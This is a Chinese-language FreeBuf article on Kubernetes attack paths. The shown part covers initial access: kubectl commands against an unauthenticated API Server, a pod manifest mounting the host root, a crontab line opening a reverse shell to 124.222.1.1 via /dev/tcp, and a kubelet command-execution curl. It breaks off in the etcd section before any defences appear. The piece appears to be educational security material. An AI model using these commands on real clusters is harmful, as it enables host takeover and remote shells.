FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

在容器化与云原生技术飞速普及的当下，Kubernetes（简称 K8s）已成为企业管理容器集群的核心平台。然而，其复杂的架构与多样的组件交互也带来了庞大的攻击面，攻击者可利用配置不当、权限漏洞等途径入侵集群，窃取敏感数据或破坏业务运行。本文基于 K8s 攻击生命周期，从初始访问、探测、执行、权限提升、横向移动到持久化等关键环节，梳理核心攻击路径，并针对性提出防御方案，为企业云原生安全防护提供参考。

一、K8s 攻击面核心维度与典型场景

K8s 攻击面覆盖集群控制面、节点、容器、网络等多个层面，不同组件的安全漏洞或配置缺陷，都可能成为攻击者的突破口。结合微软、青藤云等机构发布的 K8s 威胁矩阵，可将攻击行为划分为八大核心环节，其中初始访问与权限提升是攻击者突破集群的关键入口，需重点关注。

微软整理发布的k8s威胁矩阵

青藤云发布的k8s威胁矩阵

（一）初始访问：突破集群的 “第一道门”

初始访问阶段，攻击者主要通过 K8s 组件暴露、凭证泄露或应用漏洞，获取集群的初步控制权。以下为 6 类高频攻击场景及技术细节：

1. K8s API Server 未授权访问

API Server 是 K8s 集群的 “大脑”，负责处理所有集群资源的操作请求，默认开放两个端口：

• 8080 端口（LocalhostPort）：非加密端口，可直接通过 Web 或kubectl客户端访问，若未限制 IP 或关闭匿名访问，攻击者可直接执行集群操作；
• 6443 端口（Secure Port）：加密端口，需证书认证，但若证书配置不当（如证书泄露），仍存在被滥用风险。

kubectl -s 1.2.3.4:8080  get pods  -o wide
kubectl -s 1.2.3.4:8080  get nodes  -o wide
kubectl -s 1.2.3.4:8080  apply -f test.yaml

apiVersion: v1
kind: Pod+
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

#将宿主机的根目录挂载到容器的mnt目录

写入计划任务反弹shell

echo -e " * * * * * /bin/bash -i >& /dev/tcp/124.222.1.1/8889 0>&1\n" >>/host/etc/crontab

1.1通过api接口查看信息

#可能6443需要鉴权，而8080则存在未授权（例子：http://1.2.3.4:8080/）
https://1.1.1.1:6443/api/v1/namespaces/default/pods?limit=500
http://1.1.1.1:8080/api/v1/namespaces/default/pods?limit=500

https://1.1.1.1:6443/api/v1/namespaces/default/pods/myapp

2. kubelet 未授权访问（10250 端口）

kubelet 是运行在每个节点上的代理组件，负责管理 Pod 生命周期，10250 端口为其 HTTPS API 端口，若配置不当（如开启匿名访问 + 绑定cluster-admin权限），攻击者可通过该端口获取节点与 Pod 信息，甚至执行命令。

首先修改配置文件/var/lib/kubelet/config.yaml,修改authentication的anonymous为true

apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: true

再将"system:anonymous"用户绑定到"cluster-admin"用户组

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

之后访问https://192.168.1.101:10250/pods即可验证漏洞是否存在，如果pods太多可以复制全部出来json格式化后慢慢看。

#执行命令
curl -k https://192.168.23.101:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"

3.etcd获取敏感信息

etcd最大的安全风险是未授权访问。在启动etcd时，如果没有指定 --client-cert-auth 参数打开证书校验，并且没有通过iptables / 防火墙等实施访问控制，etcd的接口和数据就会直接暴露给外部黑客。

e

本文为 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）